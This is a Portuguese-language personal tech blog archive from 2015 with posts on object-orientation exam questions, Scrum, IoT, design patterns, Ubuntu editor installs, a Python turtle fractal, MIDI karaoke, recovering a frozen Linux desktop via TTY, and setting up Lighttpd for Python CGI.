sábado, 26 de dezembro de 2015

Concurso - Orientação a Objetos

Uma das coisas boas em se almejar um cargo público é a necessidade de estudar matérias que normalmente se conhece apenas a parte prática, na qual vários profissionais deixam de lado vários conceitos importantes. Permita-me citar o caso de Português, essa é uma matéria que aprendemos de forma decorativa nos 1º e 2º graus apenas para conseguirmos passar de ano, porém na vida profissional cometemos diversos "barbarismos" ao escrevermos, por exemplo, um e-mail ou uma solicitação.
Como este blog trata sobre Empregabilidade resolvi tratar algumas questões de concursos para explicar alguns conceitos importantes, como não sou professor de Português o assunto tratado será relacionado a Informática. Vamos a nossa questão:
Análise e Projeto OO - Prova TRT - 23 - FCC 2011
Sobre os conceitos da orientação a objetos, considere:

I. Classe encapsula dados para descrever o conteúdo de alguma entidade do mundo real.
II. Objetos são instâncias de uma classe que herdam os atributos e as operações de uma classe.
III. Superclasse é uma especialização de um conjunto de classes relacionadas a elas.
IV. Operações, métodos ou serviços fornecem representações dos comportamentos de uma classe.

Está correto e correto o que consta em:

a) I, II, III e IV.
b) I, II e IV, apenas.
c) II, III e IV, apenas.
d) I e II, apenas.
e) II e IV, apenas.
Para podermos resolver essa questão, devemos conhecer os conceitos (e não a prática) da orientação a objetos. O que é Orientação a Objetos? É um enfoque que define um sistema como uma coleção de objetos que interagem entre si, que possuem características próprias.

O que são classes? são modelos ou templates para os objetos. Possuem as seguintes propriedades:
  • Atributos que armazenam informações sobre o estado do objeto.
  • Operações (ou métodos, ou serviços) que são oferecidas para implementar o comportamento do objeto.
O que são objetos? E a implementação física e real (ou uma instância) de uma classe. Possuem os seguintes componentes:
  • Identidade que é a propriedade que o distingue de outros objetos (OID).
  • Estado que reflete os valores correntes dos atributos.
  • Comportamento que é o modo como o objeto reage em termos da mudança de seu estado.
O termo herança é muito abrangente e normalmente o conhecemos em relação a duas classes, mas também pode ser aplicado ao afirmar que um objeto é uma herança de uma classe. Ou seja, neste caso está aplicado em relação receber as características de atributos e operações. O princípio básico da herança, ou generalização, trata da criação de novas classes mais especializadas a partir de classes já existentes (chamadas de superclasses), essas novas classes são especializações para sua melhor adaptabilidade.

O termo encapsulamento refere-se a esconder detalhes da implementação que não deve ser acessado externamente, esse termo tanto pode se referir a atributos como a operações.

Com esses conceitos em mente podemos responder a questão. A primeira está errada pois o encapsulamento não serve para descrever algo, serve para esconder algo. A segunda está correta apesar de muitas pessoas acharem que o termo herdar não se aplicaria entre objetos e classes. A terceira foi trocado o termo especialização por generalização, ou seja, a Superclasse é uma generalização de um conjunto de classes, ou invertendo, um conjunto de classes é uma especialização de uma superclasse. E a quarta está correta pelo que já vimos sobre operações. Sendo assim a resposta correta é a letra e.

Como vimos estudar para concursos não é de todo ruim, pois nos permite conhecer melhor a teoria de diversas matérias para melhorarmos o nosso conhecimento sobre a parte prática. Observe que aqui não usei qualquer linguagem de programação, pois lembre-se sempre que OO não é linguagem, mas conceitos. Ou seja, não é porque está usando Java que está programando em OO.

Obrigado e até a próxima
Fernando Anselmo

sexta-feira, 25 de dezembro de 2015

Empregabilidade - Fim de Ano, tempo de se compreender

Estamos perto do final de 2015 e mais uma vez acontece aquela rotina de planos para o próximo ano. Adoro as coisas que prometemos fazer do tipo, vou estudar mais, vou ler mais, vou criar a paz mundial e por aí vai em uma série de promessas que mal serão cumpridas. O questionamento que propõe em fazer é quanto realmente você se conhece? Pois somente deste modo é que planos poderiam se realizados.

A seguinte frase é atribuída a Sun Tzu "Concentre-se nos pontos fortes, reconheça as fraquezas, agarre as oportunidades e proteja-se contra as ameaças", não sei se é verdade pois já li a Arte da Guerra várias vezes e essa frase não aparece em sua obra, porém isso não importa já que a frase diz muito sobre o que é nos reconhecermos. Com base na análise de SWOT preparei o seguinte mapa:


A ideia é muito simples imprima a figura e responda em cada um dos quadrantes a pergunta estipulada, reconheça suas Forças, Fraquezas, Oportunidades e Ameaças. Normalmente as promessas de Ano Novo estão concentradas na coluna "O que me atrapalha?", pode reparar, pois se uma pessoa promete deixar de fumar é porque ela vê isso como uma Ameaça, ou se promete Ler pelo menos um livro por mês é porque sabe que sua Fraqueza consiste em não ter muito conhecimento sobre as coisas. O problema dessas promessas é que deixam de lado a coluna "O que me auxilia?" e neste caso muitas Oportunidades são perdidas ou o que era uma Força pode ser deixada o ano todo no esquecimento.

Recomendo que suas promessas de Ano Novo sejam vistas de forma diferente, sob uma nova perspectiva:
  1. Plano de manutenção para suas forças.
  2. Plano defensivo para suas fraquezas.
  3. Plano ofensivo para suas oportunidades.
  4. Plano de saída para suas ameaças.
Liste pelo menos 3 itens em cada coluna e já terá 12 planos de ação para realizar em 2016. Reconheça em cada quadrante aquilo que realmente é e que só você pode ser franco o suficiente para confessar, seja honesto consigo e neste próximo ano que se inicia faça algo realmente útil para se ajudar.

Obrigado e até a próxima
Fernando Anselmo

segunda-feira, 14 de dezembro de 2015

Empregabilidade - Conceitos Rápidos de SCRUM

Quando o assunto é Scrum muita gente ou fica perdida em uma entrevista, ou fala o que não deve. Pensando nisso resolvi pegar um livro de Scrum Master e criar um compilado (um resumo) para que qualquer um possa rapidamente e facilmente entender o que acontece.

A metodologia Scrum é melhor aplicada para um ambiente caótico. Isso mesmo, pode parecer algo contraditório, mas não devemos confundir caótico com anárquico. Possui três pilares que são:
  • Transparência - todos possuem conhecimento dos processos, requisitos de entrega e status.
  • Inspeção - o tempo todo é inspecionado o que está sendo feito no projeto, seja nas reuniões diárias ou no sprint review.
  • Adaptação - produto sofre adaptação quanto ao produto e mudanças.
Existem os seguintes papéis básicos (se faltar um deles NÃO É SCRUM):
  • Product Owner - ponto central com poderes de liderança do produto. É o único a decidir quais recursos e funcionalidades serão construídos e qual a ordem eles devem ser feitos. Manter e comunicar a todos os outros participantes uma visão clara do que se está buscando alcançar no projeto. É quem prioriza os itens do Product Backlog.
  • Scrum Master - função de auxiliar aos outros a entender os princípios e práticas do Scrum. Papel de coach e ajuda a equipe entender o processo e desenvolver sua própria abordagem do Scrum. É um facilitador, não é chefe de ninguém.
  • Dev Team - são as pessoas que de fato construirão o projeto e decidirão como farão as coisas. A ideia principal é que a equipe se auto-organize para determinar a melhor maneira de atingir a meta estabelecida pelo Product Owner.
Como funciona?

O Product Owner é responsável por conceber uma visão do produto, ou seja, o que é desejado e onde o produto deve chegar. Em seguida, desmembra sua visão em uma lista de funcionalidades, essa lista é chamada de Product Backlog. O Scrum Master deve auxiliar sua realização. Um vez pronta, esta lista é ordenada por prioridades (Grooming) da que agrega mais valor para o negócio para a que menos agrega. O projeto é então dividido no que é conhecido por sprint. Uma sprint é um período de tempo com duração fixa (time-boxed), normalmente de 2 a 4 semanas, no qual algumas funcionalidades da lista serão construídas e entregues.


Antes de cada Sprint começar é realizada uma reunião de planejamento (Sprint Planning) onde é criado o Backlog Sprint. Com base na capacidade da equipe é definida quantas funcionalidades da Product Backlog serão completamente construídas.

Mudanças também podem ser inseridas, porém estas devem ser planejadas e priorizadas para serem inseridas em uma próxima sprint.

Todo dia é realizado uma reunião de 15 minutos (Daily Scrum) com 3 perguntas básicas a cada elemento do time: O que eu fiz ontem? O que eu vou fazer hoje? Tem algum impedimento? Essa reunião é realizada com todos de PÉ, exatamente para que ninguém se alongue demasiadamente.

O que fazer ao final da Sprint?

São realizadas 2 atividades:

1ª) Scrum Team Review. Com o objetivo de validar e adaptar o produto que está sendo construído, se o que está sendo feito está de acordo com o esperado é a apresentação daquilo que foi feito no sprint para aprovação do Product Owner.

2ª) Retrospectiva. Verificar as necessidades de adaptação no processo, comparar o que foi feito de positivo e o que foi negativo, que deve ser melhorado ou parar de fazer.

Falei que era uma visão rápida sobre o Scrum, se quiser conhecer mais detalhes, existem excelentes vídeos no YouTube que ensinam muito mais sobre essa metodologia. Como por exemplo este:


Obrigado e até a próxima
Fernando Anselmo

sábado, 12 de dezembro de 2015

Empregabilidade - IoT ?!?

Vamos imaginar a seguinte situação, está em uma entrevista de emprego e o entrevistador pede para lhe definir IoT, o que diria? Isso é bem parecido quando lhe pedem para falar sobre "polimorfismo" que em Orientação a Objetos são métodos com mesmo nome e que podem ocorrer na mesma classe (denominado por Overloading) ou por herança (denominado por Override).

Vejo pessoas publicarem vários livros e artigos sobre IoT, mas nenhuma delas está algo claro como: IoT, ou Internet of Things, ou ainda "Internet das Coisas" é simplesmente a ligação do mais variado tipo de hardware a Internet. Pronto, simples assim. Por exemplo, sabemos que agora existe o Apple Watch e o Android Watch. Em sua essência são relógios de pulso, na verdade são bem mais que isso. Comprei um Moto 360 (como o da foto abaixo) e agora meu relógio pode medir meus batimentos cardíacos, me acompanhar nos exercícios, sugerir que faça mais caminhadas, traçar as rotas por onde andei, ativar alarmes se passo do meu índice de batimento normal e ainda ligar automaticamente para meu médico caso tenha uma taquicardia ou algo pior (isso tudo sem ter que tocar no telefone). E isso é apenas uma de suas mais variadas funcionalidades.


Lembro que a nossa Presidenta falou em um discurso na ONU que não era possível "Estocar Vento". Bem, piadas a parte, o que realmente ela quis dizer é que o vento sopra em várias direções e isso causa uma intermitência, ou seja, nem sempre o vento sopra quando a eletricidade é necessária, o que torna difícil a integração da sua produção no programa de exploração. Novos aerogeradores estão sendo construídos ligadas a Internet e eles giram em seu eixo, de acordo com os dados enviados, buscando uma melhor performance na velocidade das hélices (ou seja, mais energia produzida).

Muitos outros aparelhos estão sendo ligados a Internet, imagine um ar-condicionado em sua casa no qual, de acordo com dados de tempo enviados, pode regular-se automaticamente para obter ar frio de fora economizando energia, ou um carro ligado completamente a Internet, não estou tratando apenas do GPS, mas de muitos outros dados que podem lhe ser enviado para obter uma melhor performance.


Sabemos que o custo de placas inteligentes, como Arduino ou RaspBerry tem diminuído constantemente. Atualmente, é possível comprar um RaspBerry, com as mesmas funções de um computador, por 5 dólares. Junte isso a qualquer hardware e temos a possibilidade de ligação com a Internet, o que é possível este conjunto realizar? Isso é IoT.

Obrigado e até a próxima
Fernando Anselmo



sábado, 3 de outubro de 2015

Java - Padrões de Projeto

No meu livro "Métricas para Desenvolvedores" consegui reunir 2 assuntos que me fascinam: Contagem (técnica por Ponto de Função e PCU) e Padrões de Projeto. Procurei mostrar, na visão do desenvolvedor, como encarar esses assuntos como alguém que não possui o menor conhecimento sobre ambos mas se vê obrigado a entendê-los para não ficar fora do mercado.

Muitas pessoas acham que por estarem programando em Java estão consequentemente programando Orientado a Objetos (vou abreviar para OO), entendamos de uma vez por todas que Orientação a Objetos é um conceito e não uma Linguagem. Projetar software OO é difícil, e projetar software OO reusável é mais difícil ainda.

É responsabilidade do Arquiteto projetar um software OO, e isso significa que é necessário encontrar os objetos pertinentes, fatorá-los em classes na granularidade certa, definir interfaces de classes e hierarquias de herança, e estabelecer relacionamentos chave entre elas. É muito complicado achar objetos reusáveis na primeira tentativa.

Para tentar resolver este problema surgiram os Padrões de Projeto que são formas de capturar soluções desenvolvidas e evoluídas com o passar do tempo, só existe um problema quanto a eles, cada padrão descreve um problema que ocorre frequentemente no ambiente, e então descreve a solução para aquele problema, de um modo tal que pode-se usar essa mesma solução. Resumidamente: Um Problema Específico, Uma Solução Específica.

Um dos primeiros livros que surgiu a esse respeito foi "Padrões de Projeto - Soluções Reutilizaveis de Software Orientado a Objetos" de Erich Gamma, John Vlissides, Ralph Johnson, e Richard Helm (atenção os códigos descritos neste livro estão em linguagem C++ e Smalltalk). Esses quatro autores se denominaram "Gang of Four" ou simplesmente GoF. Então é comum ouvir falar de: "Padrões do GoF". No livro trataram de 23 padrões, tal como descritos na seguinte imagem:


Dividiram seus padrões em 3 categorias: Criacionais (em amarelo) trata da melhor maneira de se construir um objeto, Comportamentais (em verde) estão mais voltados as comunicações entre os objetos e Estruturais (em azul) como as classes devem ser combinadas para formar estruturas mais complexas.

No meu livro expus para cada padrão um problema e como resolvê-lo em Java. Por questões de direito autoral não posso descrevê-los aqui. Porém o pessoal do Java Code Geeks criou um excelente curso (em inglês) expondo cada um desses padrões.

23 Padrões de Projeto do GoF aplicados em Java

Espero que seja proveitoso e que possa ajudar a muitos desenvolvedores que realizam trabalhos de projeto de sistema OO a criarem melhor seus códigos ou simplesmente entender o que vem a ser Padrões de Projeto.

Obrigado e até a próxima
Fernando Anselmo

terça-feira, 29 de setembro de 2015

Android - Seu Telefone no Seu Computador

Para aqueles que possuem um telefone com Android, uma das coisas boas é sua integração com aplicativos do Google, é exatamente essa característica que faz essa postagem se tornar possível. Tem pessoas que não largam o celular enquanto estão no computador, seja para digitar uma mensagem no Whatsapp ou verificar outra coisa. Então ao invés de digitar com um teclado virtual e encher sua tela de marcas de dedos que tal usar o computador para isso? É fácil, indolor e são apenas quatro passos.

O primeiro passo é ativar o modo "Programador" do seu aparelho. Acesse a opção "Configurar" e a última opção é "Sobre o telefone", a penúltima deveria ser o modo "Programador", porém está desabilitada por padrão. Para habilitá-la acesse a opção "Sobre o telefone", navegue até a última opção "Número da Versão" e  (pode parecer ridículo isso) clique 7 vezes nela. Isso mesmo 7 vezes, não, não estou brincando, ao final será mostrada uma mensagem dizendo que você é um "Desenvolvedor". Retorne um tela e observe que agora existe a penúltima opção é "Programador".

O segundo passo é baixar um aplicativo no seu navegador Chrome (sim, só funciona nesse navegador) chamado Vysor. Usei o Ubuntu mas é possível utilizar qualquer sistema operacional que execute o navegador Chrome. Após sua instalação vamos passar para o terceiro passo.

Conecte seu aparelho ao PC, com um cabo "USB - Aparelho" (aquele mesmo que é usado para carregar o aparelho via USB do computador) e ative a "Depuração USB".

No quarto passo retorne ao aplicativo Vysor (através do botão Apps localizado a esquerda na sua barra de favoritos do Chrome) e pressione o botão "Find Devices", deixe-o localizar seu telefone. Uma vez localizado e conectado, no seu telefone aparecerá a mensagem: Permitir a depuração USB? E pronto o resultado no seu computador será a tela do seu celular:


Agora tudo o que você fizer nessa tela, será refletido no celular e vice-versa, inclusive se deitar o celular a tela também deitará. É possível acessar qualquer aplicativo e fazer qualquer coisa, inclusive tirar Printscreen da tela. A grande vantagem? Professores podem aproveitar isso para suas aulas ou desenvolvedores para testarem seus projetos.

O projeto Vysor ainda está na versão beta, mas promete muito mais coisas, veja o vídeo promocional e se divirta:


Obrigado e até a próxima
Fernando Anselmo

domingo, 13 de setembro de 2015

Ambiente de Desenvolvimento - Editores sem Religião

Neste blog já tratei de muitos editores de código. No meu trabalho e em casa uso vários deles, não acredito que devamos "levantar a bandeira" de nenhum, e vejo pessoas brigarem se o Eclipse é melhor que o NetBeans, se o Dreamweaver é o melhor editor de HTML e por aí vai. Olho para essas pessoas e penso em quantas oportunidades de emprego perderam com esse simples comentário (é equivalente a publicar: Eu amo às Sextas-Feiras ou Odeio meu chefe).

Certa vez, estava em um Congresso de Informática conversando com um colega, Gerente de RH de uma empresa de software, e estava me falando na dificuldade de encontrar profissionais qualificados. Um outro colega veio me saudar e durante a conversa soltou o seguinte comentário: "Fernando, você viu a palestra sobre o Eclipse? Que maravilha, não usaria outro editor nem que fosse obrigado". Após sua saída, esse gerente me falou o seguinte: "Quando vi esse seu colega pensei, poderia ser uma possível aquisição, mas..." e deixou a frase por completar para que tirasse minhas próprias conclusões.

Atualmente uso uma série de vários editores para atender minhas demandas, e não os vejo como "Religião", vejo-os simplesmente como ferramentas de trabalho. Escapando um pouco, assim como uso e encaro o Linux por gosto pessoal e nada tenho contra quem usa outro sistema operacional, assim como o LibreOffice e o Gimp. A meu ver, encarar como "Religião" é como aqueles jogadores de futebol que toda vez que marcam um Gol apontam para "Deus" como se ele fosse o responsável ou tivesse feito algo - a meu ver, se isso é verdade - então o goleiro do time contrário deve ser o discípulo de "Satanás" em pessoa. Não misture "Religião" com profissionalismo, isso sempre dá errado.

Nesta postagem pretendo mostrar como instalar uma série de editores, que nada tem a ver com: "Esse é o melhor - USE-O ou seja fulminado!", para seu uso pessoal no Linux. O Java já deve estar instalado e configurado corretamente, sendo pré-requisito para muitos desses editores, qualquer dúvida veja essa postagem.

NetBeans, criado pela Sun como editor oficial de Java (existe uma versão na qual o NetBeans vem junto com o Java), este é um editor que serve para Java, C/C++, Groovy e PHP. Para proceder sua instalação baixe o pacote SH do site oficial. Depois abra um terminal e digite os seguintes comandos:
$ chmod +x netbeans-8.0.2-linux.sh
$ ./netbeans-8.0.2-linux.sh
Fornecemos a permissão de execução para o arquivo e o executamos, pronto simples assim.

PyCharm, desenvolvido pela JetBrain é um excelente editor para Phyton. Tornei-me um amante dessa linguagem devido ao seu múltiplo uso e por preencher os buracos que procurava com o Java. Para sua instalação, é necessário baixar um arquivo compactado no site oficial. Usarei para o exemplo a versão Community que é gratuita.

Passo 1. Para instalar descompactar esse arquivo na pasta /opt, dica mude o nome da pasta gerada para pycharm-community.
$ sudo tar -xvzf pycharm-community[versão].tar.gz
$ sudo mv pycharm-community[versão] pycharm-community
$ sudo rm pycharm-community[versão].tar.gz
Passo 2. Criar um arquivo .desktop na pasta /usr/share/applications, digite o comando: sudo nano pycharm.desktop. Digite o seguinte conteúdo:
[Desktop Entry]
Version=1.0
Type=Application
Name=PyCharm Community Edition
Icon=/opt/pycharm-community/bin/pycharm.png
Exec="/opt/pycharm-community/bin/pycharm.sh" %f
Comment=Develop with pleasure!
Categories=Development;IDE;
Terminal=false
StartupWMClass=jetbrains-pycharm-ce
Atom, desenvolvido pelo pessoal do GitHub, seu uso não está preso a uma única linguagem devido a seu grande número de plugins atualmente o utilizo para realizar qualquer programação HTML 5, CSS, JavaScript e seus vários clones (JQuery, Node.js, Meteor entre outros). Abra um terminal e digite os seguintes comandos:
$ sudo add-apt-repository ppa:webupd8team/atom -y 
$ sudo apt-get update 
$ sudo apt-get install atom -y
De modo similiar, adicionamos o repositório que contém os pacotes e procedemos sua instalação. De resto é apenas adicionar os plugins com a linguagem que se deseja trabalhar.

Android Studio, este virou o Editor Oficial para aplicativos do Android. Abra um terminal e digite os seguintes comandos:
$ sudo add-apt-repository ppa:ubuntu-desktop/ubuntu-make
$ sudo apt-get update
$ sudo apt-get install ubuntu-make
E mais uma vez, adicionamos o repositório que contém os pacotes e procedemos sua instalação. O Eclipse também possui plugins para desenvolver em Android mas estes estão caindo em desuso.

Astah, editor de UML, uma característica estranha de todo programador de Orientação a Objetos a de não criar qualquer espécie de documentação para seus projetos. Não me sento para codificar enquanto não tenho claramente em mente o que devo fazer e como fazer, passo às vezes quatro dias planejando para no quinto codificar tudo sabendo exatamente o que devo fazer (e confesso que raramente erro ou tenho que codificar novamente). Sua instalação no Ubuntu é muito simples, basta baixar o pacote .deb do site oficial e dar um duplo clique. A "Central de Programas" será chamada e continuará com o processo de instalação.

Acredito que o Eclipse deva ser o mais utilizado por todos e sua instalação é muito simples, basta baixar o arquivo do site oficial e descompactar, A única observação que tenho a fazer é criar um atalho para seu sistema, para isso, abra um terminal, acesse a pasta /usr/share/applications e digite o comando: sudo nano eclipse.desktop. Digite o seguinte conteúdo:
[Desktop Entry]
Name=Eclipse
Comment=Ferramenta de Desenvolvimento Java
Exec=/home/[usuário]/Aplicativos/eclipse/eclipse
Icon=/home/[usuário]/Aplicativos/eclipse/icon.xpm
Terminal=false
Type=Application
Categories=Deploy
Keywords=IDE;Desenvolvimento;Java;Editor;
Salve com Ctrl+X e pronto a partir do menu de acesso do Ubuntu é possível acessar o Eclipse.

Obrigado e até a próxima
Fernando Anselmo

sábado, 5 de setembro de 2015

Python - Fractal

O que é uma fractal? De modo simples é um desenho geométrico que se repete. Existem milhares de exemplos na natureza da ação das fractais, um floco de neve, uma imagem microscópica da água congelada, mas a olho nu podemos observar uma árvore. Isso mesmo, uma árvore é uma fractal, principalmente um Pinheiro.


O que mais me atrai nas fractais, além de seus cálculos matemáticos, é um dos recursos utilizados em programação que poucas pessoas sabem como utilizar: Recursão.

Recursão é a capacidade de um método chamar a si mesmo várias vezes, essa técnica pode ser aplicada quando realizamos cálculos fatoriais. Sabemos que 5! (cinco fatorial) é 5x4x3x2x1 e o método utilizado para este cálculo é uma recursão, escrito em Python teria a seguinte codificação:
def fatorial(num):
  if (num > 1):
    return (num * fatorial(num-1))
  else:
    return 1

print(fatorial(5))
Dentro do método fatorial enquanto o número for maior que 1 é retornado uma nova chamada ao mesmo método só que com um valor menor, ou seja, neste caso, na primeira vez é passado o valor 5, o método fará uma chamada a si mesmo só que passando o valor 4, e assim sucessivamente até chegar ao valor 1.

Isso pode ser bem complexo para o iniciante em programação mas é um excelente recurso a se usar. Voltando as fractais, a recursão é a base do desenho, já que o mesmo deve se repetir um número limitado de vezes em posições com ângulos diferentes para que possa se formar o desenho.

Eis o código Python que permite o desenho de um pinheiro:
import turtle

def drawBranch(size, angle): # Funcao recursiva para desenhar os galhos
    turtle.fd(size)
    if size > 8: # Quanto menor mais concentrado
        turtle.rt(angle/2)
        drawBranch(size*0.75, angle)
        turtle.lt(angle)
        drawBranch(size*0.75, angle)
        turtle.rt(angle/2)
    turtle.bk(size)

# Parte principal.
size = 150              # Tamanho Base da Arvore
angle = 60              # Angulo entre os galhos.
turtle.tracer(8,0)      # Velocidade do desenho.
turtle.mode('logo')     # Orientacao - Use LOGO language orientation: turtle faces upward.
turtle.pu()             # Colocar a turtle em posicao.
turtle.bk(size*2)
turtle.pd()             # Posicionar a pena de desenho.
drawBranch(size, angle) # Iniciar o desenho.
turtle.exitonclick()    # Esperar para sair
Coloquei os detalhes do código em seu comentário. E como resultado teremos a seguinte imagem:


Obrigado e até a próxima
Fernando Anselmo

sábado, 29 de agosto de 2015

Divertimento - Karaokê no Computador

"No princípio existia o MIDI...", então os Japoneses para se divertirem criaram o Karaokê, traduzido para cante afinado ou desafinado mas anime (não é o quadrinho) a galera. Pois bem, alguém resolveu pegar um MIDI e juntar a letra da música e surgiu o "Karaokê de Computador".

Antes de continuarmos deixe-me esclarecer algumas perguntas que devem estar povoando a sua mente, MIDI (Musical Instrument Digital Interface) é a forma como instrumentos eletrônicos (tais como, teclados, sintetizadores, placas de som, etc.) se comunicam entre si. MIDI também é utilizado quando um computador comunica e controla um instrumento musical eletrônico. Para o nosso interesse MIDI é um som gravado de um teclado no computador. MIDI Karaoke é um arquivo que usa os leitores de arquivos em formato KAR ou ST3. Estes softwares ao tocar estes arquivos tocam a música do midi sincronizada com sua letra no monitor do computador. Obviamente que alguma santa alma teve o trabalho de realizar essa sincronização e criação do arquivo.


O que devo possuir no Computador?


Existem vários programas que executam arquivos de MIDI Karaokê. Para o Ubuntu utilizo o KMid.

KMid 2.4.0 versão 32 bits
KMid 2.4.0 versão 64 bits

Para executar um arquivo de Karaokê é necessário além do software adequado uma placa de som com dispositivo capaz de executar informações MIDI. Então verifique se seu Sistema Operacional está habilitado para tocar este tipo de arquivo. Se seu Ubuntu não estiver habilitado, não se desespere, instale primeiro um aplicativo chamado Sequenciador MIDI TiMidity++ que se encontra disponível na loja. Ou seja, instale primeiro o TiMidity e depois instale o KMid que funcionará sem o menor problema. Continua sem som? Outros problemas podem ser resolvidos instalando o ALSA, com o seguinte comando:
$ sudo  apt­get install  alsa­base.
Porém podem acontecer incompatibilidades com o som padrão chamado PulseAudio, para desinstalá-lo use o comando:
$ sudo apt­get purge pulseaudio.
Para testar se tudo está funcionando sem problemas utilize o comando:
$ speaker­test.

Quais são os tipos de Arquivos MIDI Karaokê?


Formato KAR

São os arquivos de karaokê mais comuns de se encontrar. Possuem extensão KAR. São as simples junções de um arquivo MIDI com a letra da música (KMid só funciona com este tipo de arquivo).

Formato ST3

Arquivos com extensão ST3, são arquivos de Karaokê produzidos pelo STAR3. Tais arquivos são visualizados em softwares como o RealOrchê (na minha opinião o melhor software para qualquer tipo de arquivo), com a adição de imagens, que são mostradas enquanto é exibida a letra das músicas. É interessante saber que arquivos de formato KAR podem ser convertidos em arquivos de formato ST3, porém a operação inversa não é possível.

SushiOkêNigth


Sushi iguaria feita de arroz temperado com vinagre recheado com frutos do mar, frutas ou legumes típico da culinária japonesa, Karaokê fundo musical aonde uma ou mais pessoas cantam acompanhando e Nigth noite em inglês mas popularmente conhecido pela galera como uma noite de festa ou de agito, juntando tudo, forma-se a SushiOkêNigth aonde amigos se reúnem para passar uma noite bem divertida e animada.

Antes de começar esse agito, precisamos organizar algumas coisas:
  • Alguém que gentilmente ceda a casa e tenha vizinhos que não se importem com os propensos cantores e nem tenham a tentação de ligar para o 190 ou 911 (respectivamente telefones da Polícia e do Hospício Municipal).
  • Alguém que dê o tom de animador da festa, um "Silvio Santos" para coordenar os cantores que se revezarão com os propensos a cantores, pode-se dizer que assim fica um minuto de paz e um minuto para ir lá fora buscar uma cervejinha, funciona mais ou menos como os comerciais dos filmes.
  • Caixa amplificadora para ligar ao computador, as caixinhas próprias do computador vão acabar estourando.
  • Microfones. Melhor mesmo é um para poder ver alguém cantando e outros (que foi lá só para fazer companhia mesmo) ficar na coreografia da música.
  • Uma boa quantidade de bebida e comida que será rateada entre os participantes, não precisa necessariamente ser Sushi, principalmente se seus amigos não gostam, pode-se muito bem fazer um ArrozCarreteirOkêNigth ou um ChurrascOkêNight (Devido a experiências não aconselho a fazer uma BuchadOkêNight nem uma FeijoadOkêNigth a menos que na casa tenha de 8 a 10 banheiros, preferencialmente fora da casa).
  • Um monte, mas uma grande quantidade de músicas, preferencialmente de todos os estilos possíveis e conhecidos, estas podem ser obtidas no KBoing.
Por trás de tudo isso vem o ingrediente principal: Se divertir. Karaokê não deve ser algo profissional, evite críticas para não assustar as pessoas que não cantam muito bem pois serão o ponto alto da noite, Karaokê existe para que as pessoas se divirtam e baixem o nível de stress.

Obrigado e até a próxima
Fernando Anselmo

sábado, 22 de agosto de 2015

Linux - Travou e agora?

Um fato me ocorreu esta semana muito estranho, de vez em quando me divirto com o site 9GAG só o insaciável Chrome por memória resolveu travar meu computador, antes de apertar o RESET me lembrei de um pequeno detalhe: Estava no Linux. Ou melhor, estava no Ubuntu.

Para quem desconhece, a parte gráfica é apenas um dos componentes do Sistema Operacional Linux, diferente do Windows ou Mac que não sobrevivem sem essa camada. Para o Ubuntu e muitos outros sistemas existe a chamada: parte não gráfica, que continua lá mesmo que não a recordemos muito. Veja a seguinte figura:

Com a combinação de teclas Ctrl+Alt+F1 (pode tentar até F6) se chega a ela. Para que serve? Para usar o sistema em modo não gráfico - Então nunca precisaria abrir um terminal? Em tese, não. Essas áreas, chamaremos com o nome de TTY (abreviatura para TeleType Writer) são utilizadas como camadas no sistema, ou seja, temos 6 camadas não gráficas (TTY1 a TTY6) e uma gráfica (TTY7) e para acessá-las basta usar a combinação de teclas Ctrl+Alt+F1 a F6 (para as não gráficas) e Ctrl+Alt+F7 (para a gráfica). Quando estamos no terminal (através de Ctrl+Alt+T) estamos em uma "Pseudo" TTY, abra o terminal e digite o comando:
$ tty
E como resposta deve receber algo como: /dev/pts/8. Esse número 8 pode variar de sistema, mas faz parte da camada gráfica (como no Windows), já as outras TTY são completamente independentes entre si, e podem ser utilizadas para "destravarmos" suas irmãs. Pois uma coisa legal que acontece é que as camadas se falam, façamos um teste muito simples, coloque algo para tocar e aperte Ctrl+Alt+F1, observe que a música parou. Agora acesse com seu usuário essa camada, e a música retorna, saia com o comando exit e retorne ao modo gráfico com Ctrl+Alt+F7.

Retornando a pergunta, para quê usar o terminal então? Tudo depende do que se está fazendo, se for algum trabalho rápido ou que envolva usar o modo gráfico de vez em quando então use o terminal que é mais prático.

Resumindo, se travamos um processo em uma dessas camadas, podemos muito bem acessar outra camada para solucionar o problema. Então, no meu caso a solução foi simples:
  1. Digitar a combinação Ctrl+Alt+F1, para acessar a TTY1.
  2. Localizar o processo do Chrome, sudo ps aux
  3. Eliminar o processo: kill -9
  4. Digitar a combinação Ctrl+Alt+F7, para retornar o modo gráfico.
Ou seja, tudo uma simples questão de usar o sistema a meu favor e adeus ao botão RESET.

Obrigado e até a próxima
Fernando Anselmo

sábado, 15 de agosto de 2015

Python - No Web Server Lighttpd

Não tenho absolutamente nada contra o Apache, consideremos que, só vezes, o utilizamos como "um canhão para matar um mosquito",  então que tal voltarmos a boa "Raquete Elétrica". O Lighttpd é um Servidor Web que foi criado como o objetivo de baixo consumo de memória. Toda sua configuração é com base em Expressões Regulares ao estilo Perl. Este levíssimo servidor tornou-se o preferido na Comunidade do Ruby on Rails, mas aqui vamos utilizá-lo com outra linguagem: Python.

Obs. Como sempre, todos os comandos utilizados são para Ubuntu 15.04. Porém acredito que possam ser portados facilmente para outros ambientes. Tudo pode ser realizado de modo gráfico (por exemplo, na Loja de Aplicativos basta procurar por lighttpd), aqui usaremos o terminal.

Digitar o seguinte comando no terminal para proceder a instalação do Lighttpd:
$ sudo apt-get install lighttpd
O servidor já foi instalado e deve estar funcionando corretamente, basta digitar em um navegador:
http://localhost
E como resposta teremos a seguinte página:


Configuração para rodar o Python


Vamos agora editar o arquivo de configuração do Lighttpd através do seguinte comando:
$ sudo nano /etc/lighttpd/lighttpd.conf
Alterar a seção server.modules para a seguinte configuração:
server.modules = (
        "mod_access",
        "mod_alias",
        "mod_compress",
        "mod_redirect",
        "mod_cgi",
        "mod_rewrite",
)
Adicionar, ao final do arquivo, as seguintes linhas que permitem executar Scripts em Python:
$HTTP["url"] =~ "^/python/" {
  cgi.assign = (".py" => "/usr/bin/python")
}
Salve (com CTRL+X) esta configuração.

Este próximo passo é totalmente opcional. Prefiro utilizar uma pasta local do meu usuário para poder criar e modificar arquivos sem ter que usar o superusuário para tal. Sendo assim, no raiz do seu usuário criar as seguintes pastas:
$ cd ~
$ mkdir lighttpd
$ cd lighttpd
$ mkdir python
Copiar a página inicial do Lighttpd (se desejar) para a pasta raiz:
$ sudo cp /var/www/html/ .
Editar o arquivo de configuração:
$ sudo nano /etc/lighttpd/lighttpd.conf
Alterar o caminho da pasta padrão:
server.document-root        = "/home/<seu_usuario>/lighttpd"
Modificar o usuário e grupo padrão:
server.username             = "<seu_usuario>"
server.groupname            = "<seu_usuario>"
